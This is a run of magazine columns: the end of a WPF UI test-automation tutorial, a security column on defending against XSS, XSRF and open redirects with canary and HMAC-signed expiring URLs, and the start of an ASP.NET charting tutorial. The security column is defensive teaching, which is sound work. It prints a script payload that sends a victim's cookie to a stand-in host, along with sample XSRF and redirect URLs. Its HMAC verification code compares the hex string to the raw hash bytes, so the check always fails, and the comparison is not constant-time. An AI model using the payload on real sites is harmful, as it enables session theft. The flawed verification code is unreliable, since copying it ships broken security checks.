I use a pattern similar to the one I used to get a reference to the Button control. However, notice that I specify TreeScope.Descendants rather than TreeScope.Children. I do this because the RadioButton control is a child of the GroupBox control and so is not a direct child of the main Window control. Alternatively, I could have first obtained a reference to the GroupBox control (as a child of the main Window control) and then used that reference to obtain a reference to the RadioButton control. Once I have references to my controls, I can start manipulating the application under test. I begin by simulating user input into the TextBox1 control:
Console.WriteLine("\nSetting input to 'Hello1!'");
ValuePattern vpTextBox1 =
  (ValuePattern)aeTextBox1.GetCurrentPattern(ValuePattern.Pattern);
vpTextBox1.SetValue("Hello!");
Using a SetValue method probably does not come as a surprise, but notice that I do not access SetVaue() directly through the aeTextBox1 object. Instead, I use an intermediary ValuePattern object. The concept of AutomationPattern objects such as ValuePattern is probably the biggest conceptual hurdle for engineers new to the Microsoft UI Automation library. You can think of pattern objects as an abstraction to expose a control's functionality that is independent of the control's type or appearance. Put another way, you can use specific AutomationPattern instances such as ValuePattern to enable specific control functionality.
I simplify things further by thinking that a control's ControlType exposes what kind of control the control is and that a control's Pattern exposes what the control can do. I use a similar approach to simulating a user selecting the RadioButton3 control:
Console.WriteLine("Selecting 'DES Encrypt' ");
SelectionItemPattern spSelectRadioButton3 =
  (SelectionItemPattern)aeRadioButton3.GetCurrentPattern(
    SelectionItemPattern.Pattern);
spSelectRadioButton3.Select();
This time I use the SelectionItemPattern to enable a selection. The name of the GetCurrentPattern method sometimes confuses MUIA library beginners. From a test automation point of view, the method is setting, not getting, a specified AutomationPattern. But from a client-server perspective, the automation client code is fetching a particular property from the application under test server code.
The code I use to simulate a click on the Calculate button control should help clarify:
Console.WriteLine("\nClicking on Compute button");
InvokePattern ipClickButton1 =
  (InvokePattern)aeButton.GetCurrentPattern(
    InvokePattern.Pattern);
ipClickButton1.Invoke();
Thread.Sleep(1500);
Here, in essence, I use the InvokePattern to enable a button click and then execute the click by using the Invoke method. Notice I pause 1.5 seconds to give my application time to respond. I could also go into a delay loop, checking periodically to see if the result textBox2 field is empty or not. At this point in my test automation code, I have launched the application under test, entered "Hello!" into the input TextBox control, selected the DES Encrypt RadioButton control, and clicked on the Compute Button control.
Now I examine the TextBox2 control to see if I have a correct expected value:
Console.WriteLine("\nChecking TextBox2 for '91-1E-84-41-67-4B-FF-8F'");
TextPattern tpTextBox2 =
  (TextPattern)aeTextBox2.GetCurrentPattern(TextPattern.Pattern);
string result = tpTextBox2.DocumentRange.GetText(-1);
Here I use TextPattern to prepare a call to a GetText method. Notice that I call GetText indirectly through a DocumentRange property, which returns a text range that encloses the main text of a document, in this case, a single text box. The -1 argument to GetText is used so that there is no maximum limit on the length of the return string. An alternative way to read the contents of the TextBox2 control is to use the GetCurrentPropertyValue method:
string result =
  (string)aeTextBox2.GetCurrentPropertyValue(ValuePattern.ValueProperty);
I have hardcoded the test case input into the test harness. A more flexible approach is to read test case input and expected values from some external data store. Now, with the actual value of the application under test in hand, I check against an expected value to determine my test scenario pass/fail result:
if (result == "91-1E-84-41-67-4B-FF-8F") {
  Console.WriteLine("Found it");
  Console.WriteLine("\nTest scenario: Pass");
}
else {
  Console.WriteLine("Did not find it");
  Console.WriteLine("\nTest scenario: *FAIL*");
}
I simply display the test scenario result to the command shell. In a production environment, you will usually want to write test results to external storage.
With my test scenario completed, I can close the application under test by exercising the Menu control. First, I get the top-level File MenuItem control:
Console.WriteLine("\nClicking on File-Exit item in 5 seconds");
Thread.Sleep(5000);
AutomationElement aeFile = null;
aeFile = aeCryptoCalc.FindFirst(TreeScope.Descendants,
  new PropertyCondition(AutomationElement.NameProperty, "File"));
if (aeFile == null)
  throw new Exception("Could not find File menu");
else
  Console.WriteLine("Got File menu");
Notice that I use the TreeScope.Descendants scope because the File MenuItem control is a subcontrol of the Menu container control. Now I simulate a user clicking on the File item:
Console.WriteLine("Clicking on 'File'");
ExpandCollapsePattern expClickFile =
  (ExpandCollapsePattern)aeFile.GetCurrentPattern(ExpandCollapsePattern.Pattern);
expClickFile.Expand();
MenuItem controls that have submenus do not expose an Invoke pattern as you might expect; they expose an Expand pattern. With the File submenu items now rendered and visible, I can get a reference to the Exit command:
AutomationElement aeFileExit = null;
aeFileExit = aeCryptoCalc.FindFirst(TreeScope.Descendants,
  new PropertyCondition(AutomationElement.NameProperty, "Exit"));
if (aeFileExit == null)
  throw new Exception("Could not find File-Exit");
else
  Console.WriteLine("Got File-Exit");
And now I can use an InvokePattern on the Exit submenu to close the CryptoCalc application under test:
InvokePattern ipFileExit =
  (InvokePattern)aeFileExit.GetCurrentPattern(InvokePattern.Pattern);
ipFileExit.Invoke();
Console.WriteLine("\nEnd automation\n");
At this point my test automation is done, and I can record my test case result and launch another test scenario.

Final Words
The code presented in this month's column gives you a good foundation for getting started with creating custom test automation for WPF applications. The MUIA library is quite extensive and can handle most simple testing scenarios.
The pattern to adapt the simple example I've presented here to test your own WPF application is straightforward. When creating your WPF app, try to ensure that all controls have a XAML Name attribute so that an AutomationID is generated. Use the UISpy tool to determine how to identify and manipulate user controls. Determine the MUIA Pattern that will allow you to examine the state and value of a user control. With this information in hand, you can handle most basic UI test automation scenarios.
In all testing situations, you must carefully weigh the effort required to create your test automation against the benefit you get from the automation. Based on my experience, WPF UI test automation is generally best used for regression testing of relatively simple scenarios. This allows you to concentrate your manual testing on complex scenarios and find new, subtle bugs without having to worry about missing an obvious bug that was accidentally introduced when development added new functionality.
As a general rule of thumb, for the type of lightweight test automation described in this column, I have found that if my test automation takes less than four hours to create, then I get a reasonable return of value on my time investment. Of course your environment will be different; the point is you should not automatically assume that UI test automation is always the best possible use of your testing resources. WPF is still a relatively new technology. But as the presence of WPF applications increases, the UI test automation techniques presented in this column are likely to become increasingly useful to you for creating better software.

Dr. James McCaffrey works for Volt Information Sciences, Inc., where he manages technical training for software engineers working at Microsoft's Redmond, Washington campus. He has worked on several Microsoft products including Internet Explorer and MSN Search. James is the author of .NET Test Automation Recipes (Apress, 2006). James can be reached at jmccaffrey@volt.com or v-jammc@microsoft.com.


Security Briefs
Protect Your Site With URL Rewriting
Bryan Sullivan
Contents
Reviewing the Problem
A Possible Solution: Personalized Resource Locators
A Better Solution: Canary URLs
A Stateless Approach: Automatically Expiring URLs
Final Step
Some Caveats
Tim Berners-Lee once famously wrote that "cool URIs don't change." His opinion was that broken hyperlinks erode user confidence in an application and that URIs should be designed in such a way that they can remain unchanged for 200 years or more. While I understand his point, I'll venture to guess that when he made that statement he hadn't foreseen the ways in which hyperlinks would become a means for hackers to attack innocent users.
Attacks like cross-site scripting (XSS), cross-site request forgery (XSRF), and open-redirect phishing are routinely propagated through malicious hyperlinks sent in e-mail messages. (If you're unfamiliar with these attacks, I recommend reading about them at the Open Web Application Security Project (OWASP) Web.) We could mitigate much of the risk of these vulnerabilities by frequently changing our URLs—not once every 200 years but once every 10 minutes. Attackers would no longer be able to exploit application vulnerabilities by mass e-mailing poisoned hyperlinks because the links would be broken and invalid by the time the messages reached their intended victims. With all due respect to Sir Tim, while "cool" URIs may not change, secure ones certainly do.

Reviewing the Problem
Before we get into the details of a solution, let's take a closer look at the problem. Here's a very simple example of some ASP.NET code vulnerable to an XSS attack:
protected void Page_Load(object sender, EventArgs e)
{
    // DO NOT USE - this is vulnerable code
    Response.Write("Welcome back, " + Request["username"]);
}
The code is vulnerable because the page is writing the username parameter from the request back into the response without any validation or encoding. An attacker could easily exploit this vulnerability by crafting a URL with script injected into the username parameter, such as:
page.aspx?username=<script>document.location=   'http://contoso.com/'+document.cookie;</script>
Now the attacker just needs to convince a victim to click on the link. Mass e-mails are an effective way to accomplish this, especially when a little social engineering is applied (for example, "Click here to receive your free Xbox 360!"). Similar malicious URLs can be constructed and e-mailed to exploit XSRF vulnerabilities:
checking.aspx?action=withdraw&amount=1000&destination=badguy
   and open-redirect vulnerabilities:
  page.aspx?redirect=http://evil.contoso.com
Open-redirect vulnerabilities are less well known than XSS and XSRF. They occur when an application allows a user to specify an arbitrary redirect URL in the request. This can lead to a phishing attack in which the user believes she is clicking a link that will take her to good.adatum.com, but in reality she will be redirected to evil.contoso.com.

A Possible Solution: Personalized Resource Locators
One possible solution to this problem is for an application to rewrite its URLs so that they are personalized for each user (or better yet, each user session). For example, an application could rewrite the URL contoso.com/page.aspx as contoso.com/{GUID}/page.aspx, where {GUID} is random and unique for each user session. Given that there are 2 128 possible GUID values, it is fantastically unlikely that an attacker would be able to guess a valid one, so presumably he would not be able to craft and e-mail a valid (and poisoned) URL.
ASP.NET already has similar functionality built in as part of its cookieless session-handling capability. Because some users can't or won't accept HTTP cookies, ASP.NET can be configured to store the user's session ID in the URL instead. You can enable this with a simple change to your web.config file:
<sessionState cookieless="true" />
On further inspection, however, we see that this approach does not really mitigate any of the security vulnerabilities that we're concerned about, like XSS. The attacker may not be able to guess a valid session GUID, but he doesn't actually have to. He can start his own session, get a valid session ID, and then lure a victim into using that session by e-mailing the URL.
Even though another user is using that session, the attacker is not prevented from using it simultaneously and stealing the victim's private data. The application has no accurate way to determine that two different people are using the same session—certainly it could check the incoming IP address, but there are many scenarios in which a single user's IP address changes legitimately from request to request or multiple users share the same IP address. This attack is called a session fixation attack and is one of the reasons why using cookieless session management is generally not recommended.

A Better Solution: Canary URLs
We can greatly improve the effectiveness of the personalized-URL approach by making one small change. Instead of using the URL to store the session ID, we store the session ID in a cookie as usual and use the URL to store a secret shared between the client and the server. We modify the URL rewriting code to store a per-session, unique, and random value both in session state and as part of the URL:
// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...
(The code required to actually rewrite the URL and parse incoming values is beyond the scope of this article. ASP.NET MVC can be used for this purpose, and Scott Guthrie has also blogged about ASP.NET URL rewriting techniques.)
On any request, we compare the value of the GUID stored in the URL to the one stored in session state. If they don't match, or if the GUID is missing from the URL, the request is considered malicious, it is blocked, and the originating IP address is logged. This shared-secret defense (also referred to as a canary defense) has long been the recommended approach to preventing XSRF attacks, but as you can see, it does a pretty good job of mitigating reflected XSS vulnerabilities as well by cutting off the e-mail propagation vector.
It's important to note that this is not a complete solution against XSS. The best way to prevent XSS is to address the source of the problem by validating input and encoding output, but canaries can be applied as an additional layer of defense.

A Stateless Approach: Automatically Expiring URLs
While the canary URL approach is a good, secure methodology, it does have one weakness: it relies on server-side session state. If you have a stateless application, such as a Web service or a REST application, you probably won't want to enable session state only for the purpose of storing canary values.
In cases like these, you can accomplish your overall goal (preventing attackers from e-mailing malicious hyperlinks) without needing to maintain server-side session state by implementing automatically expiring URLs. A URL that expires a short period of time after it's requested (10 minutes or so) would greatly reduce the window of opportunity for an attacker to e-mail that URL to potential victims but still allow legitimate users sufficient time to work with the resource.
One way to put an expiration date on a URL is to rewrite the URL to include the current time stamp, like this:
http://www.contoso.com/{timestamp}/page.aspx
Whenever a user makes a request for the resource, the incoming time stamp in the URL is checked to see whether it's more than 10 minutes old (or whatever the specified time threshold is). If so, the request is denied. An alternative is to write the desired expiration time into the URL and then check that against the current time. However, both of these approaches as presented are flawed because an attacker could very easily forge a URL that would be valid at some point in the future:
http://www.contoso.com/{current timestamp + one hour}/page.aspx
This problem becomes even worse if you're using the URL to hold the expiration time stamp instead of the initial request time stamp because now the attacker can specify an arbitrarily distant point in the future and completely negate the defense:
http://www.contoso.com/{current timestamp + ten years}/page.aspx
The solution to this problem is to prevent attackers from tampering with the time stamp by also including a keyed hash of the time stamp in the URL as kind of a keyed-hash message authentication code (HMAC). The fact that you key the hash is critical: without this, an attacker could again specify a future time stamp, compute a hash value for it, and negate your defense. When you key the hash with a secret key, this is no longer possible.
While MD5 is a popular hash algorithm, it is no longer considered secure, as cryptography researchers have demonstrated ways to cause collisions and therefore break the algorithm. A better choice is one of the SHA-2 (Secure Hash Algorithm) functions such as SHA-256, which has not been successfully attacked as of this writing. SHA-256 is implemented by the Microsoft .NET Framework classes System.Security.Cryptography.SHA256Cng, SHA256CryptoServiceProvider, SHA256Managed, and HMACSHA256.
Any of these will work, but since the HMACSHA256 class has built-in functionality to apply a secret key value, it is the best choice:
HMACSHA256 hmac = new HMACSHA256(); // use a random key value
Using the default HMACSHA256 constructor applies a random key value to the hash, which should be sufficient for security, but this won't work in a server farm environment because each HMACSHA256 object will have a different key. If you are deploying your application in a farm, you need to explicitly specify the key in the constructor and make sure it's the same for all servers in the farm.
The next step is to write the time stamp along with the keyed hash into the URL. As an implementation detail, note that the output of the HMACSHA256.ComputeHash method is a byte array, but you will need to convert this to a URL-legal string because you will be writing it into the outgoing URL. This conversion is a little trickier than it sounds. Base64 is commonly used to convert arbitrary binary data into string text, but base64 contains characters like the equals sign (=) and the slash (/) that will cause parsing problems for ASP.NET even if they are URL encoded. Instead, you should convert binary data 1 byte at a time to a hexadecimal string, as shown in Figure 1.
Figure 1 Generating the Keyed Time Stamp
private static string convertToHex(byte[] data)
{
    System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
    foreach (byte b in data)
        sb.AppendFormat("{0:X2}", (int)b);

    return sb.ToString();
}

private string generateKeyedTimestamp()
{
    long outgoingTicks = DateTime.Now.Ticks;

    // get a SHA2 hash value of the timestamp
    byte[] timestampHash =
        this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));

    // return the current timestamp with the keyed hash value
    return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}
Finally, you must verify the incoming time stamp by recomputing its hash and making sure that it matches the incoming hash. The code is shown in Figure 2.
Figure 2 Verifying the Incoming Time Stamp
private static byte[] convertFromHex(string data)
{
    // we know that the hex string must have an even number of digits
    if ((data.Length % 2) != 0)
        throw new ArgumentException();
    byte[] dataHex = new byte[data.Length / 2];
    for (int i = 0; i < data.Length; i = i + 2)
    {
        string hexByte = data.Substring(i, 2);
        dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
    }

    return dataHex;
}

private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
    if (String.IsNullOrEmpty(incomingHmac))
        return false;

    byte[] incomingHmacBytes = convertFromHex(incomingHmac);

    // recompute the hash and verify that it matches the passed-in value
    byte[] recomputedHmac =
        this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));

    // perform byte-by-byte comparison on the arrays
    if (incomingHmac.Length != recomputedHmac.Length)
        return false;
    for (int i = 0; i < incomingHmac.Length; i++)
    {
        if (incomingHmac[i] != recomputedHmac[i])
            return false;
    }

    return true;
}

Final Step
As a final step, whether you are using the canary approach or the automatic expiration approach, you need to designate one or more pages in your application as "landing pages" that can be accessed without the special URL token. Without this, no one will be able to use your application because there would be no way to make an initial valid request.
There are many ways in which you can designate landing pages, from hardcoding them in the rewriting module code (definitely not recommended) to specifying them in a web.config file (better), but my preferred approach is to use a custom attribute. Using a custom attribute reduces the amount of code you need to write and also allows for inheritance: you can define a LandingPage class and apply the custom attribute to that class, and then any page that derives from LandingPage will also be a landing page.
Start by defining a new custom attribute class called LandingPageAttribute. This class doesn't actually have to contain any methods or properties. You just need to be able to mark pages with this attribute and be able to programmatically determine whether a page is so marked:
public class LandingPageAttribute : Attribute
{
}
Now mark any page you want to use as a landing page with the LandingPage attribute, like this:
[LandingPage()]
public partial class HomePage : System.Web.UI.Page
Finally, in your URL verification code, check whether the requested handler has the custom attribute. If you're implementing your URL rewrite code as an HttpModule, you can use the code in Figure 3 to perform the check.
Figure 3 Checking for the Custom LandingPageAttribute
public class RewriteModule : IHttpModule
{
    public void Init(HttpApplication context)
    {
        context.PostMapRequestHandler += new
            EventHandler(context_PostMapRequestHandler);
    }

    void context_PostMapRequestHandler(object sender, EventArgs e)
    {
        HttpApplication application = sender as HttpApplication;
        if ((application == null) || (application.Context == null))
            return;

        // get the current request handler
        IHttpHandler httpHandler = application.Context.CurrentHandler;
        if (httpHandler == null)
            return;

        // reflect into the handler type to look for a LandingPageAttribute
        Type handlerType = httpHandler.GetType();
        object[] landingPageAttributes =
            handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
                true);

        // allow access if we found any
        bool allowAccess = (landingPageAttributes.Length > 0);
        ...
    }
}
Use the LandingPage attribute with caution. Not only are the rewriting defenses invalid for landing pages (because an attacker could simply remove the URL token), but one XSS vulnerability on a single landing page could jeopardize every page on the domain. An attacker could inject a series of XMLHttpRequest calls into the client-side script to programmatically determine a valid canary or time stamp and redirect his attack accordingly.
If possible, determine a single landing page for your application, and have that page immediately redirect to a URL-rewritten page after stripping out all querystring parameters. For example,
http://www.contoso.com/landingpage.aspx?a=b&c=d
would automatically redirect to
http://www.contoso.com/(token)/otherpage.aspx

Some Caveats
Of course, URL rewriting may not be appropriate for all applications. One negative side effect of this approach is that although attackers are no longer able to e-mail malicious hyperlinks, legitimate users are similarly prevented from sending valid links or even from bookmarking pages in the application. Any page marked as a landing page could be bookmarked, but as I mentioned before, you need to be very cautious when using landing pages. Therefore, if you expect users of your application to bookmark pages other than the home page, URL rewriting is probably not a good solution for you.
Additionally, while URL rewriting is a fast and easy defense-in-depth mechanism, it is just that: defense-in-depth. It is by no means a silver bullet against XSS or any other attacks. An automatically expiring URL can still be exploited by an attacker with access to a Web server of his own. Instead of sending out malicious hyperlinks that point directly to the vulnerable page, he can send out hyperlinks that point to his own site. When his site gets a hit from one of the phished e-mails, it can contact a landing page on the vulnerable site to obtain a valid time stamp and then redirect the user accordingly.
URL rewriting does make the attacker's work more difficult: he now has to convince a user to follow a hyperlink to his Web site (evil.contoso.com) rather than a trusted one (www.msn.com), and he is also leaving a very clear trail back to himself for law enforcement agencies to follow. However, this will probably be of little comfort to any victims who fall for the phished e-mail and have their identities stolen as a result. Do use URL rewriting as an extra defensive measure, but always be sure to address vulnerabilities at the root of the problem.
Finally, I'd like to note that the techniques I've described in this article should not be construed as authoritative Microsoft development guidance. Please feel free to use them, but don't take them as Secure Development Lifecycle (SDL) requirements. We are currently conducting ongoing research in this area, and we would love to get your feedback. Please feel free to contact me at the SDL blog (blogs.msdn.com/sdl) with any comments.
Send your questions and comments to briefs@microsoft.com.

Bryan Sullivan is a Security Program Manager for the Microsoft Security Development Lifecycle team, where he specializes in Web application security issues. His first book, Ajax Security, was published by Addison-Wesley in December 2007.


Extreme ASP.NET
Charting With ASP.NET And LINQ
K. Scott Allen
Code download available from the MSDN Code Gallery
Browse the Code Online
Contents
Getting Started
Chart Building
Pumping Data
From Charts to Dashboards
Charting the Future
Microsoft recently released a new charting control for ASP.NET 3.5 SP1. The chart control is easy to use and allows you to add attractive data visualizations to your ASP.NET Web applications. The control supports all of the standard chart types, like line charts and pie charts, as well as advanced visualizations like funnel and pyramid charts. In this column, I'll explore the chart control and generate some data using queries written for LINQ to objects. The full source code for this column is available from the MSDN Code Gallery.

Figure 1 Visual Studio Tools
Getting Started
The first step is to download the chart control from the Microsoft Download Center. This download installs the key runtime components you'll need for charting, including the placement of the System.Web.DataVisualization assembly into the global assembly cache.
You'll also want to download the Visual Studio 2008 Tool Support and the charting sample Web site. The tool support will give you toolbox integration and IntelliSense support at design time, while the sample Web site will give you hundreds of examples to examine for inspiration into creating the type of chart you need. Note that you will need Service Pack 1 installed for both the Microsoft .NET Framework 3.5 runtime and Visual Studio 2008.
After the installations are all complete, you should be able to create a new ASP.NET project in Visual Studio and find the Chart control in the Toolbox window (see Figure 1). You can drag the chart into an ASPX file using the design view (which will make some necessary configuration changes to your web.config file) or work with the control directly in the Source view of an ASPX file (in which case you'll need to manually make the configuration changes I will soon describe).
When you place a chart into the Web forms designer, Visual Studio will place a new entry into the <controls> section of your web.config file, like so:
<add tagPrefix="asp"
     namespace="System.Web.UI.DataVisualization.Charting"
     assembly="System.Web.DataVisualization,
               Version=3.5.0.0, Culture=neutral,
               PublicKeyToken=31bf3856ad364e35" />
This entry allows you to use the chart control with the familiar asp tag prefix that other built-in ASP.NET controls utilize. Visual Studio also adds a new HTTP handler entry into the IIS 7.0 <handlers> section and a similar entry into the <httpHandlers> section (for use with IIS 6.0 and the Visual Studio Web development server):
<add name="ChartImageHandler"
     preCondition="integratedMode"
     verb="GET,HEAD"
     path="ChartImg.axd"
     type="System.Web.UI.DataVisualization.Charting.Chart           HttpHandler,
           System.Web.DataVisualization,
           Version=3.5.0.0, Culture=neutral,
           PublicKeyToken=31bf3856ad364e35" />
This HTTP handler is responsible for processing requests that arrive for ChartImg.axd, which is the default endpoint the chart control will use for serving charts. I'll go into more detail about the HTTP handler later. The code in Figure 2 shows the basic elements of a chart. Every chart includes at least one Series object populated with data. The ChartType property of each series will determine the type of chart used to plot the series (the default type is a column chart). Each chart can also contain one or more ChartArea objects where plotting will occur.
Figure 2 A Basic Chart
<asp:Chart ID="Chart1" runat="server" Height="300" Width="400">
    <Series>
        <asp:Series BorderColor="180, 26, 59, 105">
            <Points>
                <asp:DataPoint YValues="45" />
                <asp:DataPoint YValues="34" />
                <asp:DataPoint YValues="67" />
            </Points>
        </asp:Series>
    </Series>
    <ChartAreas>
        <asp:ChartArea />
    </ChartAreas>
</asp:Chart>
You can customize nearly every visual element of the ASP.NET chart control, including backgrounds, axes, titles, legends, and labels. The chart control is so highly customizable that you should have a plan in place to keep the charts in your application looking consistent. In this column, I will use a builder strategy to apply consistent fonts and colors to all charts. This builder class will also allow the use of the charting control outside the confines of an ASP.NET page.

Chart Building
In looking for sample data to use in this column, I briefly considered using historical data from the stock market, but the data from the past year has been depressing, so instead I decided to use data from the United States Bureau of Transportation Statistics (bts.gov). The sample application for this column includes a file with information about every domestic flight originating from my home airport (Baltimore Washington International, or BWI) during January of 2008. The data includes the destination city, distance, taxiing times, and delays. This data is represented in C# using the class in Figure 3.
Figure 3 Flight Data
public class Flight {
    public DateTime Date { get; set; }
    public string Airline { get; set; }
    public string Origin { get; set; }
    public string Destination { get; set; }
    public int TaxiOut { get; set; }
    public int TaxiIn { get; set; }
    public bool Cancelled { get; set; }
    public int ArrivalDelay { get; set; }
    public int AirTime { get; set; }
    public int Distance { get; set; }
    public int CarrierDelay { get; set; }
    public int WeatherDelay { get; set; }
}
The first chart I built from this data was a chart to show the most popular destinations for flights from the Baltimore airport (see Figure 4). This chart is built using very little code in the ASPX file or its associated codebehind file. The ASPX file includes a chart control on the page, but only sets the Width and Height properties, as you can see:
<form id="form1" runat="server">
  <div>
    <asp:Chart runat="server" Width="800" Height="600" ID="_chart">﻿
    </asp:Chart>
  </div>
</form>
Figure 4 Top Destinations
The codebehind delegates all of its Page_Load event handling work to a TopDestinationsChartBuilder class, as you see here:
protected void Page_Load(object sender, EventArgs e)
{
    if (!Page.IsPostBack)
    {
        var builder = new TopDestinationsChartBuilder(_chart);
        builder.BuildChart();
    }
}
The TopDestinationsChartBuilder inherits from a ChartBuilder class. This ChartBuilder base class uses a template method design pattern to assemble the pieces of a chart. The template method specifies the basic algorithm required to produce an aesthetically consistent and functional chart, but provides hooks for a subclass to customize the assembled pieces. The template method is named BuildChart, and it is shown in Figure 5.
Figure 5 BuildChart
public void BuildChart() {
    _chart.ChartAreas.Add(BuildChartArea());
    _chart.Titles.Add(BuildChartTitle());
    if (_numberOfSeries > 1) {
        _chart.Legends.Add(BuildChartLegend());
    }
    foreach (var series in BuildChartSeries()) {
        _chart.Series.Add(series);
    }
}
Each Build method in the ChartBuilder class has an associated Customize method. Once the Build method has constructed its piece of the chart, it invokes the Customize method. A derived class can override the customization method to apply chart-specific settings. One such example is the BuildChartTitle method, shown in Figure 6. The TopDestinationsChartBuilder class overrides the CustomizeChartTitle to apply the specific text for a title:
protected override void  CustomizeChartTitle(Title title)
{
    title.Text = "Top Destinations";
}
Figure 6 BuildChartTitle
private Title BuildChartTitle() {
    Title title = new Title() {
        Docking = Docking.Top,
        Font = new Font("Trebuchet MS", 18.0f, FontStyle.Bold),
    };
    CustomizeChartTitle(title);
    return title;
}

protected virtual void CustomizeChartTitle(Title title) { }
The majority of the work for the TopDestinationsChartBuilder is dedicated to customizing the chart series, which includes adding all of the data points for display. Fortunately, finding the top five destination cities from a collection of Flight objects is ridiculously easy using LINQ to Objects, as you can see in Figure 7. The code first applies LINQ's GroupBy operator to group the flights by their destination city. The OrderByDescending operator then sorts the sequence of groupings by the number of flights in each group. Finally, the code uses the Take operator to identify the top five destinations from the sequence.
Figure 7 Get Top Five Cities
protected override void CustomizeChartSeries(IList<Series> seriesList) {
    var repository = FlightRepositoryFactory.CreateRepository();
    var query = repository.Flights
                          .GroupBy(flight => flight.Destination)
                          .OrderByDescending(group => group.Count())
                          .Take(5);
    Series cities = seriesList.Single();
    cities.Name = "Cities";
    foreach (var record in query) {
        cities.Points.AddXY(record.Key, record.Count());
    }
}
The LINQ query produces a sequence of groupings. You can loop through these groupings to add information to the chart. The Key property of each grouping represents the value of the key selected in the GroupBy operator (in this case, the value of the Destination city). The code uses the destination as the X value for each data point. Each grouping also contains an enumerable sequence of the Flight objects it grouped under this destination. You only need to use the Count operator to get the total number of flights to each destination and add the count as the Y value for each data point.

Pumping Data
Instead of adding data to a chart series one point at a time, you can use a DataBindXY method on the chart's DataPointCollection to insert a sequence of data points without using a loop. You can see this happen in the DelaysByDayChartBuilder, which calculates the total of all delays (in minutes) for each day in the month. This builder also produces a second series of data showing the total weather-related delays. The builder starts with a LINQ query that groups the flights by the day of the month. The Key property for each grouping now represents the day of the month (from 1 to 31 for January):
var query = repository.Flights
                              .GroupBy(flight => flight.Date.Day)
                              .OrderBy(group => group.Key)
                              .ToList();
The code in Figure 8 uses the DataBindXY method. First, all the X values are collected into a list using the Select operator to grab the Key value of each group. Next, additional processing is applied to the initial grouping query to sum the ArrivalDelay and WeatherDelay values inside of each group.
Figure 8 Insert Values without Looping
var xValues = query.Select(group => group.Key).ToList();

totalDelaySeries.Points.DataBindXY(
        xValues,
        query.Select(
            group => group.Sum(
                flight => flight.ArrivalDelay)).ToList());

weatherDelaySeries.Points.DataBindXY(
        xValues,
        query.Select(
            group => group.Sum(
                flight => flight.WeatherDelay)).ToList());
As you can see, the standard LINQ operators make it easy to slice and manipulate the data for reporting and charting. Another great example is in the TaxiTimeChartBuilder. This class assembles a radar chart to display the total "taxi out" time for each day of the week. The "taxi out" time is the amount of time an airplane spends between leaving the gate and lifting off of the airport runway. At congested airports the "taxi out" time can soar as planes queue up and wait for the runway to clear. The TaxiTimeChartBuilder highlights the data points where the "taxi out" time exceeds some threshold value. This job is made trivially easy using a LINQ query against the data points in a series:
var overThresholdPoints =
    taxiOutSeries.Points
                 .Where(p => p.YValues.First() > _taxiThreshold);
foreach (var point in overThresholdPoints)
{
    point.Color = Color.Red;
}
Here the color of every data point that exceeds the specified threshold is changed to red. This behavior might make you think about an airport dashboard report, so let's look at dashboards next.

From Charts to Dashboards
In the business intelligence circles, dashboards are used to display key performance information about a business in graphical fashion. This performance information can come from various sources and can be visualized using a series of charts and widgets. A user should be able to glance at a dashboard display and quickly identify any anomalies that might affect the business.
One of the challenges in producing a dashboard display is performance. Putting together all of the information for a dashboard can result in a multitude of queries to both relational and multi-dimensional databases. Even when the raw data for a dashboard is cached, the sheer number of charts and widgets on a dashboard can burden a server.
Figure 9 shows a simple dashboard for an airport displaying the top destinations, taxi time by day of week, total flights for each day of the week, and the total delay time for each day of the month. One approach to building this dashboard would be to place all four chart controls on a single Web page and use the chart builder classes we've been building to assemble the charts. However, imagine if each chart required two seconds to build. Normally, two seconds is not a long time to wait for a complicated query, but since I have a total of four charts on the page (which is a small number for a dashboard), the user will be waiting at least eight seconds for the first graphic to appear.
Figure 9 Airport Activity Dashboard
A different approach to building this dashboard page is to define placeholders for each chart in the page and build the chart images asynchronously. An asynchronous approach would allow the user to begin seeing the first result as soon as it is available. This solution could leverage Windows Communication Foundation (WCF) proxies in JavaScript to display charts as they become available.
Fortunately, the builder classes I've defined for the charts make it easier to move the chart generation logic behind WCF Web services. The code in Figure 10 shows a WCF service method that first constructs an empty chart, and then constructs one of the ChartBuilder-derived classes implemented in the project. The builder is specified as a parameter to the method, and the code checks this parameter against a map of known builders to find the actual type of builder to instantiate (using Activator.CreateInstance).
Figure 10 Instantiating a Builder
[OperationContract]
public string GenerateChart(string builderName) {
    Chart chart = new Chart() {
        Width = 500, Height = 300
    };

    ChartBuilder builder =
        Activator.CreateInstance(_typeMap[builderName], chart)
            as ChartBuilder;
    builder.BuildChart();

    return SaveChart(builderName, chart);
}
Using a map of known builder types means we don't have to pass the method an actual type name, and it also provides a layer of insulation against malicious input from over the Internet. We will only instantiate types the service knows about.
Producing the chart image in the Web service is tricky. As we mentioned earlier, the chart works with an HTTP Handler to render charts on the client. Specifically, the Chart control gives the ChartHttpHandler class the bytes representing the chart's finished image. The ChartHttpHandler responds with a unique identifier. When the Chart control renders, it produces a regular HTML <img> tag with the src attribute referencing ChartImg.axd and including the unique identifier in the query string. When this image request reaches the HTTP Handler, the handler can look up the proper chart for display. You can read more details about this process, including all the configuration options, on Delian Tchoparino's blog.
Unfortunately, the APIs for the HTTP Handler are not public, and therefore are not available in a Web service. Instead, the SaveChart method, which the service code in Figure 10 invokes, uses the SaveImage method of the Chart control to write the chart image to the file system in PNG format. The service then returns the name of the file to the client. By generating physical files we can also introduce a caching strategy and avoid the queries and image generation during periods of heavy load.
The code in Figure 11 uses the WCF service from JavaScript to set the src attribute of each chart's image placeholder. (See Fritz Onion's column "Client-Side Web Service Calls with AJAX Extensions" to understand how to generate JavaScript proxies and invoke Web services with JavaScript.) The document object model (DOM) identifier and builder class for each chart is defined in a JavaScript array that is part of a "context" object. This context is tunneled through successive Web service invocations in the userState parameter of the Web service proxy methods. The JavaScript uses the context object to track its progress in updating the dashboard charts. For dynamic dashboard pages, the server could dynamically generate the array.
Figure 11 Updating the Chart
/// <reference name="MicrosoftAjax.js" />
function pageLoad() {
    var context = {
        index: 0,
        client: new ChartingService(),
        charts:
        [
            { id: "topDestinations", builder: "TopDestinations" },
            { id: "taxiTime", builder: "TaxiTime" },
